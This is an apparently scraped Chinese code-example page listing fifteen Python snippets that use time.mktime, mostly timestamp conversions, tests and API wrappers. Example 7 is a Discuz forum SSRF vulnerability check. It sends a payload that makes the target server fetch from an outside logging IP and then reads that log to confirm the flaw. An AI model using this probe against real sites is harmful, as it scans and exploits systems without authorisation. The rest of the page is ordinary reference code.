當前位置: 首頁>>代碼示例>>Python>>正文


Python time.mktime方法代碼示例

本文整理匯總了Python中time.mktime方法的典型用法代碼示例。如果您正苦於以下問題:Python time.mktime方法的具體用法?Python time.mktime怎麽用?Python time.mktime使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在time的用法示例。


在下文中一共展示了time.mktime方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: get_records

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def get_records(self, start_time, end_time, msgid=1, number=10000):
        """
        獲取客服聊天記錄

        :param start_time: 查詢開始時間,UNIX 時間戳
        :param end_time: 查詢結束時間,UNIX 時間戳,每次查詢不能跨日查詢
        :param msgid: 消息id順序從小到大,從1開始
        :param number: 每次獲取條數,最多10000條

        :return: 返回的 JSON 數據包
        """
        if isinstance(start_time, datetime.datetime):
            start_time = time.mktime(start_time.timetuple())
        if isinstance(end_time, datetime.datetime):
            end_time = time.mktime(end_time.timetuple())
        record_data = {
            "starttime": int(start_time),
            "endtime": int(end_time),
            "msgid": msgid,
            "number": number,
        }
        res = self._post("https://api.weixin.qq.com/customservice/msgrecord/getmsglist", data=record_data,)
        return res 
開發者ID:wechatpy,項目名稱:wechatpy,代碼行數:25,代碼來源:customservice.py

示例2: update_data_start_time

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def update_data_start_time():
    if "FileReplay" in parameters['mode'] and reporting_config_vars['prev_endtime'] != "0" and len(
            reporting_config_vars['prev_endtime']) >= 8:
        start_time = reporting_config_vars['prev_endtime']
        # pad a second after prev_endtime
        start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
        end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
    elif reporting_config_vars['prev_endtime'] != "0":
        start_time = reporting_config_vars['prev_endtime']
        # pad a second after prev_endtime
        start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
        end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
    else:  # prev_endtime == 0
        end_time_epoch = int(time.time()) * 1000
        start_time_epoch = end_time_epoch - 1000 * 60 * reporting_config_vars['reporting_interval']
    return start_time_epoch


# update prev_endtime in config file 
開發者ID:insightfinder,項目名稱:InsightAgent,代碼行數:21,代碼來源:reportMetrics.py

示例3: morsel_to_cookie

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def morsel_to_cookie(morsel):
    """Convert a Morsel object into a Cookie containing the one k/v pair."""

    expires = None
    if morsel['max-age']:
        expires = time.time() + morsel['max-age']
    elif morsel['expires']:
        time_template = '%a, %d-%b-%Y %H:%M:%S GMT'
        expires = time.mktime(
            time.strptime(morsel['expires'], time_template)) - time.timezone
    return create_cookie(
        comment=morsel['comment'],
        comment_url=bool(morsel['comment']),
        discard=False,
        domain=morsel['domain'],
        expires=expires,
        name=morsel.key,
        path=morsel['path'],
        port=None,
        rest={'HttpOnly': morsel['httponly']},
        rfc2109=False,
        secure=bool(morsel['secure']),
        value=morsel.value,
        version=morsel['version'] or 0,
    ) 
開發者ID:war-and-code,項目名稱:jawfish,代碼行數:27,代碼來源:cookies.py

示例4: backtracking_id

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def backtracking_id(site):
    cookies = cookies_raw2jar(site['cookies'])
    for _tid in range(site['start_torrent'], site['end_torrent'] + 2):
        t0 = time.time()

        _link = site['torrent_url'].format(_tid)
        torrent_page = requests.get(_link, cookies=cookies, headers=headers)
        title_search = re.search(site['search_ptn'], torrent_page.text)

        if title_search:
            _title = pymysql.escape_string(unescape(title_search.group("title")))
            pubDate = re.search("發布於(.+?)<", torrent_page.text).group(1)
            _timestamp = time.mktime(time.strptime(pubDate, "%Y-%m-%d %H:%M:%S"))

            wrap_insert(site=site['name'], sid=_tid, title=_title, link=_link, pubdate=_timestamp, t=t0)
        else:
            print("ID: {}, Cost: {:.5f} s, No torrent.".format(_tid, time.time() - t0))

        time.sleep(2) 
開發者ID:Rhilip,項目名稱:PT-help,代碼行數:21,代碼來源:backtracking.py

示例5: test_Date

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def test_Date():
    d1 = snowflake.connector.dbapi.Date(
        2002, 12, 25)
    d2 = snowflake.connector.dbapi.DateFromTicks(
        time.mktime((
            2002,
            12,
            25,
            0,
            0,
            0,
            0,
            0,
            0)))
    # API doesn't specify, but it seems to be implied
    assert str(d1) == str(d2) 
開發者ID:snowflakedb,項目名稱:snowflake-connector-python,代碼行數:18,代碼來源:test_dbapi.py

示例6: test_Timestamp

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def test_Timestamp():
    t1 = snowflake.connector.dbapi.Timestamp(
        2002,
        12,
        25, 13,
        45,
        30)
    t2 = snowflake.connector.dbapi.TimestampFromTicks(
        time.mktime(
            (
                2002,
                12,
                25,
                13,
                45,
                30,
                0,
                0,
                0))
    )
    # API doesn't specify, but it seems to be implied
    assert str(t1) == str(t2) 
開發者ID:snowflakedb,項目名稱:snowflake-connector-python,代碼行數:24,代碼來源:test_dbapi.py

示例7: check

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def check(ip, port, timeout=10):
    url = ip + ':' + port
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
    }
    time_stamp = time.mktime(datetime.datetime.now().timetuple())
    m = hashlib.md5(str(time_stamp).encode(encoding='utf-8'))
    md5_str = m.hexdigest()
    payload = "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://45.76.158.91:6868/" + md5_str + ".jpg[/img]&formhash=09cec465"
    vulnurl = url + payload
    try:
        req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
        eye_url = "http://45.76.158.91/web.log"
        time.sleep(6)
        reqr = requests.get(eye_url, timeout=timeout, verify=False)
        if md5_str in reqr.text:
            return u"存在discuz論壇forum.php參數message SSRF漏洞"
    except:
        pass 
開發者ID:muYoz,項目名稱:xunfeng_vul_poc,代碼行數:21,代碼來源:discuz_SSRF.py

示例8: _get_hour

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def _get_hour():
    '''
    返回上個小時的時間戳
    假如現在是 2018.11.21 19:44:02, 那麽返回 '1542794400'
    即 2018.11.21 18:00:00 的時間戳

    返回值:
        字符串;上個小時的時間戳
    '''

    return int(
        time.mktime(
            time.strptime(
                time.strftime("%Y-%m-%d %H"), "%Y-%m-%d %H")
        )
    )-3600 
開發者ID:Macr0phag3,項目名稱:GithubMonitor,代碼行數:18,代碼來源:mysqlite.py

示例9: test_multiline_formatter_puts_message_lines_into_data_area

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def test_multiline_formatter_puts_message_lines_into_data_area():
    """
    We want logs to look like:

    01 19:36:09.823  |This is
                     |multiline
                     |content
    """
    from moler.config.loggers import MultilineWithDirectionFormatter

    formatter = MultilineWithDirectionFormatter(fmt="%(asctime)s.%(msecs)03d |%(message)s", datefmt="%d %H:%M:%S")
    tm_struct = time.strptime("2000-01-01 19:36:09", "%Y-%m-%d %H:%M:%S")
    epoch_tm = time.mktime(tm_struct)
    logging_time = epoch_tm
    log_rec = logging.makeLogRecord({'msg': "This is\nmultiline\ncontent",
                                     'created': logging_time, 'msecs': 823})
    output = formatter.format(log_rec)

    assert output == "01 19:36:09.823 |This is\n" \
                     "                |multiline\n" \
                     "                |content" 
開發者ID:nokia,項目名稱:moler,代碼行數:23,代碼來源:test_loggers.py

示例10: timestamp

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def timestamp(dt):
        if dt.tzinfo is None:
            from time import mktime
            return mktime((dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, -1, -1, -1)) + dt.microsecond / 1e6
        else:
            from dateutil.tz import tzutc
            return (dt - datetime.datetime(1970, 1, 1, tzinfo=tzutc())).total_seconds() 
開發者ID:kislyuk,項目名稱:aegea,代碼行數:9,代碼來源:compat.py

示例11: to_xml

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def to_xml(self, value):
        value = time.mktime(datetime.timetuple(value))
        value = int(value)
        return f"<{self.name}>{value}</{self.name}>" 
開發者ID:wechatpy,項目名稱:wechatpy,代碼行數:6,代碼來源:fields.py

示例12: _to_timestamp

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def _to_timestamp(cls, date):
        if isinstance(date, str):
            date = datetime.strptime(date, "%Y-%m-%d %H:%M:%S")
        if isinstance(date, datetime):
            timestamp = int(time.mktime(date.timetuple()))
            return timestamp
        return int(date) 
開發者ID:wechatpy,項目名稱:wechatpy,代碼行數:9,代碼來源:shakearound.py

示例13: _save

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def _save(self, expiration_time):
        # Send the expiration time as "Unix time" (seconds since 1/1/1970)
        td = int(time.mktime(expiration_time.timetuple()))
        self.mc_lock.acquire()
        try:
            if not self.cache.set(self.id, (self._data, expiration_time), td):
                raise AssertionError(
                    'Session data for id %r not set.' % self.id)
        finally:
            self.mc_lock.release() 
開發者ID:cherrypy,項目名稱:cherrypy,代碼行數:12,代碼來源:sessions.py

示例14: test_session_expiration_set_to_configured_lifetime

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def test_session_expiration_set_to_configured_lifetime(self, time_mock, utc_time_sans_frac_mock):
        timestamp = time.mktime(datetime(2017, 1, 1).timetuple())
        time_mock.return_value = timestamp
        utc_time_sans_frac_mock.return_value = int(timestamp)

        exp_time = 10
        state = 'test_state'
        nonce = 'test_nonce'
        id_token = IdToken(iss=self.PROVIDER_BASEURL,
                           aud=self.CLIENT_ID,
                           sub='sub1',
                           exp=int(timestamp) + exp_time,
                           iat=int(timestamp),
                           nonce=nonce)
        token_response = {'access_token': 'test', 'token_type': 'Bearer', 'id_token': id_token.to_jwt()}
        token_endpoint = self.PROVIDER_BASEURL + '/token'
        responses.add(responses.POST, token_endpoint, json=token_response)

        session_lifetime = 1234
        self.app.config['PERMANENT_SESSION_LIFETIME'] = session_lifetime
        self.init_app(provider_metadata_extras={'token_endpoint': token_endpoint})

        with self.app.test_client() as client:
            with client.session_transaction() as session:
                UserSession(session, self.PROVIDER_NAME)
                session['destination'] = '/'
                session['state'] = state
                session['nonce'] = nonce
            resp = client.get('/redirect_uri?state={}&code=test'.format(state))

        cookies = SimpleCookie()
        cookies.load(resp.headers['Set-Cookie'])
        session_cookie_expiration = cookies[self.app.config['SESSION_COOKIE_NAME']]['expires']
        parsed_expiration = datetime.strptime(session_cookie_expiration, '%a, %d-%b-%Y %H:%M:%S GMT')
        cookie_lifetime = (parsed_expiration - datetime.utcnow()).total_seconds()
        assert cookie_lifetime == pytest.approx(session_lifetime, abs=1) 
開發者ID:zamzterz,項目名稱:Flask-pyoidc,代碼行數:38,代碼來源:test_flask_pyoidc.py

示例15: _time_str_to_unix

# 需要導入模塊: import time [as 別名]
# 或者: from time import mktime [as 別名]
def _time_str_to_unix(timestring):
    """
    :type timestring: Union[str, int]
    :rtype: Union[int, None]
    """
    if isinstance(timestring, (int, float)):
        return timestring
    try:
        t = int(time.mktime(datetime.strptime(timestring, '%a, %d %b %Y %H:%M:%S %Z').timetuple()))
    except:
        t = None
    return t 
開發者ID:aploium,項目名稱:zmirror,代碼行數:14,代碼來源:cache_system.py


注:本文中的time.mktime方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。